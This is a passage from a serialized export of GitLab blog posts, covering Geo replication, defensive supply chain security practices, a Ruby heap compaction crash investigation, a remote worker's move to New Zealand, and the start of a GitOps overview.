GitLab released six new features that needed Geo support. We replicate 100% of those new features and verify ~57%.**\n\n## What did it cost?\n\nFor comparison, it took around 3.5 months to [implement replication of Design repositories](https://gitlab.com/groups/gitlab-org/-/epics/1633). It took around 6 months to [implement the framework for replication of Package files](https://gitlab.com/groups/gitlab-org/-/epics/2346). So the cost to produce the framework for replication was roughly 2.5 months of work.\n\nWe don't really have a comparable for [implementation of verification](https://gitlab.com/groups/gitlab-org/-/epics/1817), but it looked like it would take about 3 months to implement for a single data type, while it took about 4 months total to implement for Package files and simultaneously add to the framework, for a cost of about 1 month.\n\nGiven that new data types now take about 1 month to implement replication *and verification*, the work to produce the framework **paid for itself with the implementation of a single data type**. All the rest of the benefits and time saved are more icing on the cake.\n\nMy only regret is that we should have done it sooner. I intend to be more cognizant of this kind of opportunity in the future.\n\n## What to expect in the future\n\n* [Already supported data types will be migrated into the framework](https://gitlab.com/groups/gitlab-org/-/epics/3588)\n* New features will be added more quickly, for example, verification will be rolled out for all [Blob](https://gitlab.com/groups/gitlab-org/-/epics/5285) and [Git repository](https://gitlab.com/groups/gitlab-org/-/epics/5286) data types\n* Duplication will be further reduced, for example, by [leveraging Rails generators](https://gitlab.com/gitlab-org/gitlab/-/issues/326842)\n\nHuge thanks to everyone who contributed to closing the gap on replicating *everything* in Geo!\n",[1899,2368,2248,754,676,3798,1444],{"slug":18766,"featured":6,"template":678},"how-we-are-closing-the-gap-on-replicating-everything-in-gitlab-geo","content:en-us:blog:how-we-are-closing-the-gap-on-replicating-everything-in-gitlab-geo.yml","How We Are Closing The Gap On Replicating Everything In Gitlab Geo","en-us/blog/how-we-are-closing-the-gap-on-replicating-everything-in-gitlab-geo.yml","en-us/blog/how-we-are-closing-the-gap-on-replicating-everything-in-gitlab-geo",{"_path":18772,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18773,"content":18778,"config":18783,"_id":18785,"_type":16,"title":18786,"_source":17,"_file":18787,"_stem":18788,"_extension":20},"/en-us/blog/devops-platform-supply-chain-attacks",{"title":18774,"description":18775,"ogTitle":18774,"ogDescription":18775,"noIndex":6,"ogImage":17779,"ogUrl":18776,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18776,"schema":18777},"How a DevOps Platform helps protect against supply chain attacks","Built-in security features can simplify your software factory","https://about.gitlab.com/blog/devops-platform-supply-chain-attacks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How a DevOps Platform helps protect against supply chain attacks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2021-04-28\",\n      }",{"title":18774,"description":18775,"authors":18779,"heroImage":17779,"date":18780,"body":18781,"category":962,"tags":18782},[12479],"2021-04-28","The recent Solarwinds supply chain attack made us all question the security of our software development, deployment, and use, particularly in the era of [DevOps](/topics/devops/) and cloud-native applications. Security teams often struggle to ensure security is not an afterthought as software is developed faster, released more often, and uses tools that have been beyond the radar of the security team. In fact, when [NIST describes DevSecOps](https://csrc.nist.gov/Projects/devsecops) they say that DevOps is being embraced \"_often without a full understanding and consideration of security_,\" putting CISOs at a disadvantage right when they are being tasked with ensuring a secure software supply chain.\n\n## The problem with a traditional AppSec approach\n\nCISOs often struggle to bridge large investments in traditional [application security](/topics/devsecops/) (AppSec) tools with more modern approaches that embed security into the software factory itself. Traditional AppSec approaches lead to several challenges:\n\n*   **Cost:** One tool for each scan type can get expensive\n*   **Integration:** Integrating point solutions into CI toolchains requires ongoing maintenance\n*   **Trade-offs:** Emphasis on triaging vulnerabilities and prioritizing risk of CVE findings (signature-based) over remediation\n*   **Legacy:** Limited comprehension of modern infrastructure as code and misconfigurations with little thought for container security and API security\n*   **Lack of visibility and context** into the code and the build itself with Security teams not often involved in build process and controls\n*   **Compliance**: Difficult to apply/administer policies across multiple CI and security tools\n\nWhile traditional tools fall short, the importance of software supply chain security is in the spotlight, even as a point of national security. It is anticipated that the US government will release additional guidelines for software used by government agencies. In addition, [NIST's DevSecOps project](https://csrc.nist.gov/Projects/devsecops) is working to create a set of DevSecOps practices explaining that \"_DevSecOps helps ensure that security is addressed as part of all DevOps practices by integrating security practices and automatically generating security and compliance artifacts throughout the process_.\" Similarly, the Cloud Native Computing Foundation (CNCF) has [drafted recommended best practices](https://docs.google.com/document/d/1VURD9rdEhiuqPdixhEozkHw01Tk6e2AaJVjBK3pK6Zc/edit#heading=h.jzcan9eheioa) for DevSecOps. Together, these guidelines will provide a starting point and a way to identify the most critical efforts for compliance.\n\n## The role of a DevOps Platform\n\nAs one of the only true [end-to-end DevOps platforms](/solutions/devops-platform/), GitLab has a role to play. GitLab can help you meet the challenges of developing modern applications while enabling a higher level of security. GitLab is a recognized [leader in both SCM and CI](/analysts/forrester-cloudci19/), and more recently, an up-and-comer in the application security space. GitLab has built security features right into the DevOps platform (DevSecOps anyone?), and industry analysts have included GitLab in a wide [variety of reports](/analysts/) where the GitLab's security features are compared head-to-head against point security solutions.\n\nAn integrated platform like GitLab brings benefits that individual tools cannot, including things like:\n\n*   **End-to-end visibility and auditability**: Who changed what, where, and when.\n*   **Consistent application and administration of policies**: Both what policies are used where, and the actions taken for exceptions\n*   **More intelligent response** through greater end-to-end context\n*   **Reduced attack surface** of a simplified toolchain\n\n## Five steps to greater application security\n\nWith an estimated 30 million+ users from startups to global enterprises, GitLab has to take security seriously.  Here are five ways to combine our powerful DevSecOps platform with a holistic security program to help you quickly gain control and visibility of your software supply chain. These efforts will require a combination of people, processes and tools, along with cross-department collaboration.\n\n### Step 1: ASSESS your security hygiene, considering new attack surfaces\n\nEven the most damaging attacks tend to rely on complacency toward basic security hygiene (think patches and passwords) and use tried and true exploits that have been around for a long time. While this recommendation may not be anything new, the scope of the effort may be. Revisit your security policies, and consider new attack surfaces such as your software development toolchains, containers, orchestrators, and infrastructure as code. Are [secrets detected](https://docs.gitlab.com/ee/user/application_security/secret_detection/)? Is [multi-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) used? Check your admin settings for [visibility and access controls](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html#visibility-and-access-controls).\n\n### Step 2: AUTOMATE scanning, policies, and compliance\n\nDo you automate security scans within standardized CI pipelines? Most people use SAST and/or penetration testing and more are adding dependency scanning. Each type of scan will find different types of vulnerabilities, but applying comprehensive scans to your entire application portfolio can be prohibitively expensive with point solutions. If you try to integrate multiple scan types into a heterogeneous tool chain, the complexity and cost is compounded.\n\nGitLab's single platform includes [comprehensive app sec scanning](https://docs.gitlab.com/ee/user/application_security/) with SAST, DAST, dependency, container scanning, secrets detection, and fuzz testing including API fuzzing. That allows you to do three things:\n\n1. **Scan all of your code**, including third party code and code in containers. You can easily [configure security scans used](https://docs.gitlab.com/ee/user/application_security/configuration/#security-configuration) via GitLab Ultimate's AutoDevOps feature.\n2. **Scan every code change**. GitLab's built-in [app sec testing](https://docs.gitlab.com/ee/user/application_security/) scans every code change using multiple scan methods with [one common UI](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/). Even [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) can be run within the CI pipeline by leveraging the [review app](https://docs.gitlab.com/ee/ci/review_apps/) (within GitLab's CI capability). Because scans occur before the code is pushed into a main branch, it's possible to introduce fewer vulnerabilities into shared environments.\n3. **Utilize Fuzz Testing** to find insecure logic flaws that do not have a signature of a known CVE. GitLab's security scanning includes both [coverage-guided](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) and [behavioral testing for web APIs](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/). Because fuzz testing is integrated into the CI pipeline alongside the other scanners, the results are more readily available and set up is easier than stand-alone fuzzing.\n\nAutomation is great, but you also must ensure that it is applied in a standardized, controlled CI process. As CNCF points out, \"_Automating as much of the software supply chain as possible can significantly reduce the possibility of human error and configuration drift_.\" Do you require a [standardized CI template to be](https://docs.gitlab.com/ee/development/cicd/templates.html#requirements-for-cicd-templates) used for all projects? Do you [automatically apply compliance](https://docs.gitlab.com/ee/user/project/settings/#compliance-pipeline-configuration) to an industry standard? When vulnerabilities are found, who can [approve MRs with policy exceptions](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/index.html#required-approvals)?\n\nAutomating policies ensures more consistent compliance while also reducing the audit surface. The automation of CI/CD is one vehicle to apply [common controls](https://docs.gitlab.com/ee/administration/compliance.html)that include things like:\n\n*   [Segregation of incompatible duties](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties)\n*   [Identity and access approval controls](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html)\n*   Configuration management and [change control](https://docs.gitlab.com/ee/user/project/repository/push_rules.html)\n*   [Access restrictions](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#editing--overriding-approval-rules-per-merge-request) for changes to configurations and pipelines\n*   [Protected branches](https://docs.gitlab.com/ee/user/project/protected_branches.html) and environments\n*   [Auditing](https://docs.gitlab.com/ee/administration/audit_events.html)\n*   [Licensed code usage](https://docs.gitlab.com/ee/user/compliance/license_compliance/#license-compliance)\n*   [Security testing](https://docs.gitlab.com/ee/user/application_security/)\n\nGitLab Ultimate offers many [compliance capabilities](/solutions/compliance/) within a single DevOps platform. Included are a [compliance dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html) along with a [host of compliance features](https://docs.gitlab.com/ee/administration/compliance.html), [compliance management](/direction/govern/compliance/compliance-management/), and audit reports. In short, apply automation wherever possible to make it more likely that policies are applied consistently.\n\n### Step 3: PROTECT the application's infrastructure\n\nModern applications rely on much more than the code itself. You have to consider your cloud-native infrastructure like Docker and Kubernetes environments. Apply container scanning and use SAST to scan Helm charts. Consider using GitLab [Container Host Security](https://docs.gitlab.com/ee/update/removals.html) and [Container Network Security](https://docs.gitlab.com/ee/update/removals.html). GitLab's integration with [Falco](https://docs.gitlab.com/ee/update/removals.html) and [AppArmor](https://docs.gitlab.com/ee/update/removals.html), when used in the CI environment, can alert and prevent build servers from doing unexpected things such as modifying scheduled tasks (OS configuration in general). Check more obscure things like the container registry. Who at your org has write access? A compromise of one person could potentially lead to a compromise of the container registry, which could lead (via pipelines) to compromises of numerous projects.\n\n### Step 4: SECURE the software factory itself\n\nGitLab's DevOps platform simplifies the effort required to secure the software factory itself with one place to manage access, software factory policies, and repeatable, measurable processes. GitLab's Security team has several blog articles on best practices and projects that may be helpful:\n\n*   Applying [Zero Trust](/blog/tags.html#zero-trust) principles (things like least privilege access). Even one of our vendors took notice: [GitLab Goes All In on Zero Trust to Secure a Fully Remote...](https://www.okta.com/blog/2020/06/gitlab-goes-all-in-on-zero-trust-to-secure-a-fully-remote-workforce/)\n*   Our continued integration of new technology has an emphasis on both productivity and security. For instance, our integration with [Hashicorp Vault](/partners/technology-partners/hashicorp/) can require all entities operating in the supply chain environment to mutually authenticate using hardened authentication mechanisms with regular key rotation.\n*   Consider hardening the GitLab instance. These [best practices](/blog/gitlab-instance-security-best-practices/) are a place to start while additional research is being done [openly to help improve the product and further enhance the hardening process](https://gitlab.com/gitlab-com/gl-security/security-research/gitlab-standalone-instance). Hardened UBI-based cloud native GitLab images should be checked and verified regularly.\n*    [CI/CD Variables](https://about.gitlab.com/blog/demystifying-ci-cd-variables/) can control the behavior of  pipelines. [Scoped environments](https://docs.gitlab.com/ee/ci/environments/#scoping-environments-with-specs) can limit the scope of a CI/CD variable by defining for which environments it can be available (production, for instance). \n\n### Step 5: ITERATE with continuous assessment and improvement\n\nSecuring the modern software supply chain will require you to revisit steps 1-4 above continuously. The more complex your toolchain or environment, the harder it is to stay current on securing your app and your supply chain. Modern application development processes demand a new way of thinking, tooling the software factory itself for security and controls, rather than inspecting code after it's built. This mindset can be challenging, especially when you are saddled with expensive, traditional tools.\n\nGitLab's DevOps platform with built-in security features makes this continuous improvement possible, but there are certainly no guarantees when it comes to security. If a nation state or individual is persistent enough with a very targeted attack, such as the one against Solarwinds, even the best defenses may be susceptible to malice. Neither GitLab, nor any other vendor, can claim to be able to protect customers from these attacks alone. A Defense-in-Depth strategy is always best and the simplicity of a single DevSecOps platform like GitLab is a powerful security enabler that can simplify your efforts and improve your visibility and control points.\n",[736,674],{"slug":18784,"featured":6,"template":678},"devops-platform-supply-chain-attacks","content:en-us:blog:devops-platform-supply-chain-attacks.yml","Devops Platform Supply Chain Attacks","en-us/blog/devops-platform-supply-chain-attacks.yml","en-us/blog/devops-platform-supply-chain-attacks",{"_path":18790,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18791,"content":18796,"config":18801,"_id":18803,"_type":16,"title":18804,"_source":17,"_file":18805,"_stem":18806,"_extension":20},"/en-us/blog/puma-nakayoshi-fork-and-compaction",{"title":18792,"description":18793,"ogTitle":18792,"ogDescription":18793,"noIndex":6,"ogImage":9591,"ogUrl":18794,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18794,"schema":18795},"Ruby 2.7: Understand and debug problems with heap compaction","An overview of Ruby 2.7 heap compaction and the risks it adds to production Rails applications.","https://about.gitlab.com/blog/puma-nakayoshi-fork-and-compaction","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ruby 2.7: Understand and debug problems with heap compaction\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matthias Käppler\"}],\n        \"datePublished\": \"2021-04-28\",\n      }",{"title":18792,"description":18793,"authors":18797,"heroImage":9591,"date":18780,"body":18799,"category":734,"tags":18800},[18798],"Matthias Käppler","\n\nThe GitLab Rails application runs on [Puma](https://puma.io/), a multi-threaded Rack application server written in the new Ruby.\nWe recently updated Puma to major version 5, which introduced [a number of important\nchanges](https://github.com/puma/puma/blob/master/History.md#500--2020-09-17),\nincluding support for _compaction_, a technique to reduce memory fragmentation in the\nRuby heap.\n\nIn this post we will describe what Puma's \"nakayoshi fork\" does, what compaction is,\nand some of the challenges we faced when first deploying it.\n\n## Nakayoshi: A friendlier `fork`\n\nPuma 5 added a new configuration switch: `nakayoshi_fork`. This switch affects Puma's behavior when\nforking new workers from the primary process. It is largely based on a [Ruby gem of the same name](https://github.com/ko1/nakayoshi_fork)\nbut adds new functionality. More specifically, enabling `nakayoshi_fork` in Puma will result in two additional\nsteps prior to forking into new workers:\n\n1. **Tenuring objects.** By running several minor garbage collection cycles ahead of a `fork`, Ruby can promote survivors\n   from the young to the old generation (referred to as \"tenuring\"). These objects are often classes, modules, or long-lived\n   constants that are unlikely to change.\n   This process makes forking copy-on-write friendly because tagging an object as \"old\" implies a write\n   to the underlying heap page. Doing this prior to forking means the OS won't have\n   to copy this page from the parent to the worker process later. We won't be discussing copy-on-write in detail but\n   [this blog post offers a good introduction to the topic and how it relates to Ruby and pre-fork servers](https://brandur.org/ruby-memory).\n\n1. **Heap compaction.** Ruby 2.7 added a new method `GC.compact`, which\n   will reorganize the Ruby heap to pack objects closer together when invoked. `GC.compact` reduces Ruby heap fragmentation and\n   potentially frees up Ruby heap pages so that the physical memory consumed can be reclaimed by the OS.\n   This step only happens when `GC.compact` is available in the version of Ruby that is in use (for MRI, 2.7 or newer).\n\nIn the remainder of this post, we will look at:\n\n* How `GC.compact` works and its potential benefits.\n* Why using C-extensions can be problematic when using compaction.\n* How we resolved a production incident that crashed GitLab.\n* What to look out for before enabling compaction in your app, via `nakayoshi_fork` or otherwise.\n\n## How compacting garbage collection works\n\nThe primary goal of a compacting garbage collector (GC) is to use allocated memory more\neffectively, which increases the likelihood of the application using less memory over time.\nCompaction is especially important when processes can share memory, as is the case with Ruby pre-fork\nservers such as Puma or Unicorn. But how does Ruby accomplish this?\n\nRuby manages its own object heap by allocating chunks of memory from the operating system called pages\n(a confusing term since Ruby heap pages are distinct from the smaller memory pages managed by the OS itself).\nWhen an application asks to create a new object, Ruby will try to find a free object slot in one of these\npages and fill it. As objects are allocated and deallocated over the lifetime of the application,\nthis can lead to fragmentation, with pages being neither entirely full nor entirely empty. This is the\nprimary cause for Ruby's infamous runaway memory problem: Since the available space isn't optimally used,\npages will rarely be entirely empty and become \"tomb pages\" which means it is necessary for the pages to be empty for them to be deallocated.\n\nRuby 2.7 added a new method, `GC.compact`, which aims to address this problem by walking the entire\nRuby heap space and moving objects around to obtain tightly packed pages. This process will ideally make\nsome pages unused, and unused memory can be reclaimed by the OS. [Watch this video from RubyConf 2019](https://www.youtube.com/watch?v=H8iWLoarTZc) where Aaron Patterson, the author of this feature, gave a good introduction to compacting GC.\n\nCompaction is a fairly expensive task since Ruby needs to stop-the-world for a complete heap reorganization so\nits best to perform this task before forking a new worker process, which is why Puma 5 included this step when performing `nakayoshi_fork`. Moreover, running compaction before forking\ninto worker processes increases the chance of workers being able to share memory.\n\nWe were eager to enable this feature on GitLab to see if it would reduce memory consumption, but things didn't entirely go as planned.\n\n## Inside the incident\n\nAfter extensive testing via our automated performance test suite and in preproduction\nenvironments, we felt ready to explore compaction on production nodes. We kept a\n[detailed, public record of what happened\nduring this production incident](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/3370), but the key details are summarized below:\n\n* The deployment passed the canary stage, meaning workers who had their heaps compacted were serving traffic\n  successfully at this point.\n* Sometime during the full fleet rollout, problems emerged: Error rates started spiking but not\n  across the entire fleet. This phenomenon is odd because errors tend to spread across all workers due to load balancing.\n* The error messages surfacing in Sentry were mysterious at best:\n  `ActionView::Template::Error\nuninitialized constant #\u003CClass:#GrapePathHelpers::DecoratedRoute:0x00007f95f10ea5b8>::UNDERSCORE`. Remember this error message for later.\n* We discovered the affected workers were segfaulting in [`hamlit`](https://github.com/k0kubun/hamlit),\n  a high-performance HAML compiler. Hamlit uses a C-extension to achieve better performance. The segfaulting and the fact\n  that we were rolling out an optimization that touches GC-internal structures was a tell-tale sign that\n  compaction was likely to be the cause.\n* We rolled back the change to quickly recover from the outage.\n\n## How we diagnosed the problem\n\nWe were disappointed by this setback and wanted to understand why the outage occurred. Fortunately,\nRuby provides detailed stack traces when crashing in C-extensions. The most effective way\nto quickly analyze these is to look for transitions where a C-extension calls into the Ruby VM\nor vice versa. These lines therefore caught our attention:\n\n```shell\n...\n/opt/gitlab/embedded/lib/libruby.so.2.7(sigsegv+0x52) [0x7f9601adb932] signal.c:946\n/lib/x86_64-linux-gnu/libc.so.6(0x7f960154c4c0) [0x7f960154c4c0]\n/opt/gitlab/embedded/lib/libruby.so.2.7(rb_id_table_lookup+0x1) [0x7f9601b15e11] id_table.c:227\n/opt/gitlab/embedded/lib/libruby.so.2.7(rb_const_lookup+0x1e) [0x7f9601b4861e] variable.c:3357\n/opt/gitlab/embedded/lib/libruby.so.2.7(rb_const_get+0x39) [0x7f9601b4a049] variable.c:2339\n# ^--- Ruby VM functions\n/opt/gitlab/embedded/lib/ruby/gems/2.7.0/gems/hamlit-2.11.0/lib/hamlit/hamlit.so(str_underscore+0x16) [0x7f95ee3518f8] hamlit.c:17\n/opt/gitlab/embedded/lib/ruby/gems/2.7.0/gems/hamlit-2.11.0/lib/hamlit/hamlit.so(rb_hamlit_build_id) hamlit.c:100\n# ^-- hamlit C-extension\n...\n```\n\nThe topmost stack frame reveals the preceeding calls led to a segmentation fault (`SIGSEGV`).\nWe highlighted the lines where Hamlit calls back into Ruby: In a function called `str_underscore` which\nwas called by `rb_hamlit_build_id`. The `rb_*` prefix tells us that this is a C-function we can call from Ruby,\nand indeed it is used by [`Hamlit::AttributeBuilder`](https://github.com/k0kubun/hamlit/blob/master/lib/hamlit/attribute_builder.rb) to construct DOM `id`s.\n\nBut we still don't know why it is crashing. Next, we need to inspect what happens in `str_underscore`.\nWe can see that this function performs a constant lookup on `mAttributeBuilder` – searching\nfor a constant called `UNDERSCORE`. When following the breadcrumbs it turns out to simply be the string `\"_\"`.\nIt is this lookup that failed.\n\nWait -- `UNDERSCORE`? That sounds familiar. Recall the top-level error messages:\n\n```\nActionView::Template::Error\nuninitialized constant #\u003CClass:#GrapePathHelpers::DecoratedRoute:0x00007f95f10ea5b8>::UNDERSCORE\n```\n\nBut `GrapePathHelpers` is clearly not a Hamlit class. Hamlit is trying to look up its own `UNDERSCORE`\nconstant on a class in the [`grape`](https://github.com/ruby-grape/grape) gem, an entirely different library\nthat is not involved in HTML rendering at all and there is no such constant defined on Grape's\n`DecoratedRoute` class either.\n\nNow the penny dropped – remember how compaction moves around objects in Ruby's heap space? Classes in\nRuby are objects too, so `GC.compact` must have moved a Grape class into an object slot that was previously\noccupied by a Hamlit class object, but Hamlit's C-extension never saw it coming!\n\n## How we solved the problem\n\nTo be clear, what happened above should _not_ happen with a well-behaved C-extension. Compaction\nwas developed carefully with support for C-extensions that predate Ruby 2.7, so all\nexisting Ruby gems would continue to operate normally.\n\nSo what went wrong? When a C-extension allocates Ruby objects, it must _mark_ them for as long as\nthey are alive. A marked object will not be garbage collected and because the Ruby GC cannot reason about objects\noutside of its own purview (i.e., objects created from Ruby code), it needs to rely on C-extensions\nto correctly mark and unmark objects themselves.\n\nNow comes the twist: Marked objects can be moved during compaction and existing C-extensions\ncan't cope with an object they hold pointers to suddenly move into a different slot.\nTherefore, Ruby 2.7 does something clever: It \"pins\" objects allocated with the mark function that existed prior\nto Ruby 2.7, meaning the pinned objects are not allowed to move during compaction. For new code, it introduces\na special mark-but-don't-pin function that will also allow an object to move, giving gem authors the\nopportunity to make their libraries compaction-aware.\n\nHamlit does not implement compaction support, so this could only mean one thing:\nHamlit wasn't even properly marking those objects, otherwise Ruby 2.7\nwould have automatically pinned them so they wouldn't move during compaction.\nAfter [discussing an attempted fix we submitted](https://github.com/k0kubun/hamlit/pull/171) but without\na reliable way to reproduce the issue for everyone, the Hamlit author decided to sidestep the\nproblem by [resolving those constants statically instead](https://github.com/k0kubun/hamlit/pull/172)\nand marking each via `rb_gc_register_mark_object`.\nThis change landed in [Hamlit 2.14.2](https://github.com/k0kubun/hamlit/blob/master/CHANGELOG.md#2142---2021-01-21)\nwhich we confirmed resolves the issue.\n\n## The next steps\n\nIt is exciting to see that the Ruby community is making progress on making Ruby a more memory-efficient\nlanguage but we learned that we need to step carefully when introducing such wide-reaching changes to a large\napplication like GitLab. It is difficult to investigate and fix problems that crash the Ruby VM, which is more likely for\nany library that uses C-extensions.\n\nTwo particular action items we took away from this were:\n\n1. **More reliable detection of compaction-related issues in CI.** We're not going to sugar-coat this:\n   We detected the problem late. Our comprehensive test suite was passing, our QA and performance tests\n   on staging environments passed, and the problem didn't even show up in canary deployments. Ideally, we\n   would have caught this issue with our automated test suite. One way to test whether compaction causes problems\n   is by using `GC.verify_compaction_references` – this is a rather crude tool because it requires\n   keeping two copies of the Ruby heap, which can be prohibitively expensive in terms of memory use. We\n   have therefore not yet decided how to approach this.\n1. **Improve our ability to roll out system configuration gradually.** Puma is part of our core infrastructure,\n   since it sits in the path of every web request, which makes it especially risky to experiment with Puma\n   configuration. GitLab already supports [feature flags](https://docs.gitlab.com/ee/development/feature_flags/index.html)\n   to allow developers to roll out product changes gradually, but it presents us with a catch-22 when\n   making changes at the infrastructure level, because to query the state of a feature flag, the infrastructure\n   needs to already be up and running. It would be ideal to have a similar mechanism for system configuration, [which we are currently exploring](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/154).\n\nWhile performance is a major focus for us at the moment it must not compromise availability.\nWe will continue to monitor developments in the Ruby community around compaction support, but decided to\nnot use it in production at this point in time since the gains don't appear to outweigh the risks.\n",[6962,1268,676],{"slug":18802,"featured":6,"template":678},"puma-nakayoshi-fork-and-compaction","content:en-us:blog:puma-nakayoshi-fork-and-compaction.yml","Puma Nakayoshi Fork And Compaction","en-us/blog/puma-nakayoshi-fork-and-compaction.yml","en-us/blog/puma-nakayoshi-fork-and-compaction",{"_path":18808,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18809,"content":18815,"config":18821,"_id":18823,"_type":16,"title":18824,"_source":17,"_file":18825,"_stem":18826,"_extension":20},"/en-us/blog/from-berlin-to-new-zealand",{"title":18810,"description":18811,"ogTitle":18810,"ogDescription":18811,"noIndex":6,"ogImage":18812,"ogUrl":18813,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18813,"schema":18814},"Visiting Family During COVID-19 (Germany to New Zealand)","My experience working for Gitlab traveling from Berlin to New Zealand on short notice","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672592/Blog/Hero%20Images/berlin-to-new-zealand-1.jpg","https://about.gitlab.com/blog/from-berlin-to-new-zealand","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Visiting Family During COVID-19 (Germany to New Zealand)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marc Shaw\"}],\n        \"datePublished\": \"2021-04-27\",\n      }",{"title":18810,"description":18811,"authors":18816,"heroImage":18812,"date":18818,"body":18819,"category":18484,"tags":18820},[18817],"Marc Shaw","2021-04-27","The story started in January 2020, around the time chatter of COVID-19 started. I was concerned, but still relatively confident I would be able to travel home and see my grandparents later that year. The initial plan was to fly home to New Zealand in November 2020, and fly back to Berlin in March 2021. Little did I know that countries would nearly all but shut their borders completely over the next few months, restricting travel to only residents and citizens. After the first lockdown, and as summer approached, COVID-19 improved drastically in Berlin with Germany being one of the few countries that were handling the virus with poise and targeted/reasonable restrictions. Back in New Zealand, there was a very strict lockdown that lasted a couple of months, aiming to eradicate the virus from the country.\n\nFast forward to October 2020, Germany was getting hit with the start of their second wave and by November we had gone back into a lockdown. New Zealand on the other hand had introduced a strict quarantine system, one which required you to book months in advance, with openings often hard to come by. Having not seen my grandparents for two and a half years, I was anxious to see them again. This feeling was compounded due to health concerns unrelated to COVID-19, which caused two of them to be admitted to a hospital in late 2020.\n\nA year after the start of the story in January 2021, we had just entered our third consecutive month of being locked down in Berlin, Germany. I mentioned to my manager that I am thinking about trying to get a quarantine slot to make the 30+ hour flight from Berlin to New Zealand, her instant reaction was of support and asked if there was anything she could help with. I mentioned that nothing is set, but I will keep her updated on booking a quarantine slot. Luckily I managed to snap up a slot (after a week of trying) for the 2nd of February. I then booked my flights and messaged my manager. Since the time zones difference between Germany and New Zealand was around 12 hours, she sorted out meetings and suggested I take a few days off after landing to get over my jet lag even though it was in the same release. It was the genuine care shown and ease at making changes on short notice that I wholly appreciated.\n\nThroughout the whole experience, it has reinforced to me that GitLab practices the values that it preaches, and for me, this was shown through [family and friends being put first, work is second.](https://handbook.gitlab.com/handbook/values/#family-and-friends-first-work-second) The few months that I have been in New Zealand have made life for me exponentially better (given the circumstances). Living in a country without COVID-19 has allowed me to visit all my family, friends, and colleagues around the country, I have attended street festivals with over 100,000 people, indoor concerts, surfed, got my tattoo, gone hiking. This would not have been possible on such short notice for a lot of companies, potentially at all. Every day I reflect on where I am currently in terms of job, location, and everyone around me, and just spend a few minutes appreciating just how lucky I am.\n\n| Ngarunui Beach, Raglan | Cubadupa, Wellington | |:-------------------------:|:-------------------------:| | ![Raglan](https://about.gitlab.com/images/blogimages/berlin-to-new-zealand-2.jpg) | ![Cubadupa](https://about.gitlab.com/images/blogimages/berlin-to-new-zealand-3.jpg) |\n| Blue Spring, Putāruru | Kāpiti Coast | |:-------------------------:|:-------------------------:| | ![Blue Springs](https://about.gitlab.com/images/blogimages/berlin-to-new-zealand-4.jpg) | ![Raglan](https://about.gitlab.com/images/blogimages/berlin-to-new-zealand-5.jpg) |",[676,3798],{"slug":18822,"featured":6,"template":678},"from-berlin-to-new-zealand","content:en-us:blog:from-berlin-to-new-zealand.yml","From Berlin To New Zealand","en-us/blog/from-berlin-to-new-zealand.yml","en-us/blog/from-berlin-to-new-zealand",{"_path":18828,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18829,"content":18835,"config":18840,"_id":18842,"_type":16,"title":18843,"_source":17,"_file":18844,"_stem":18845,"_extension":20},"/en-us/blog/gitops-done-3-ways",{"title":18830,"description":18831,"ogTitle":18830,"ogDescription":18831,"noIndex":6,"ogImage":18832,"ogUrl":18833,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18833,"schema":18834},"3 Ways to approach GitOps","Learn about how GitLab users can employ GitOps to cover both Kubernetes and non-Kubernetes environments","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669635/Blog/Hero%20Images/gitops-cover.jpg","https://about.gitlab.com/blog/gitops-done-3-ways","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Ways to approach GitOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Saumya Upadhyaya\"},{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2021-04-27\",\n      }",{"title":18830,"description":18831,"authors":18836,"heroImage":18832,"date":18818,"body":18838,"category":734,"tags":18839},[18837,902],"Saumya Upadhyaya","\n\nThe term [\"GitOps\"](/topics/gitops/) first emerged in the Kubernetes community as a way for organizations to enable Ops teams move at the pace of application development. With improved automation and less risk, GitOps is quickly becoming the workflow of choice for infrastructure automation.\n\nAt GitLab, the approach to GitOps goes beyond Kubernetes. Before the buzz around GitOps picked up in the DevOps community, GitLab users and customers were applying GitOps principles to all types of infrastructure, including physical servers, virtual machines, containers, and Kubernetes clusters ([multicloud](/topics/multicloud/) and on-premise).\n\n## What is GitOps?\n\nThere are two main [approaches to GitOps](https://www.gitops.tech/), a push-based approach and a pull-based approach.\n\n- *Push-based approach*: A CI/CD tool pushes the changes to the environment. Applying GitOps via push is consistent with the approach used for application deployment. In this case, deployment targets for a push-based approach are not limited to Kubernetes.\n![push based deployment](https://about.gitlab.com/images/blogimages/gitops-push.png){: .shadow.medium.center}\nHow the push-based approach works for GitOps.\n{: .note.text-center}\n\n- *Pull-based approach*: An agent installed in a cluster pulls changes whenever there is a deviation from the desired configuration. In the pull-based approach, deployment targets are limited to Kubernetes and 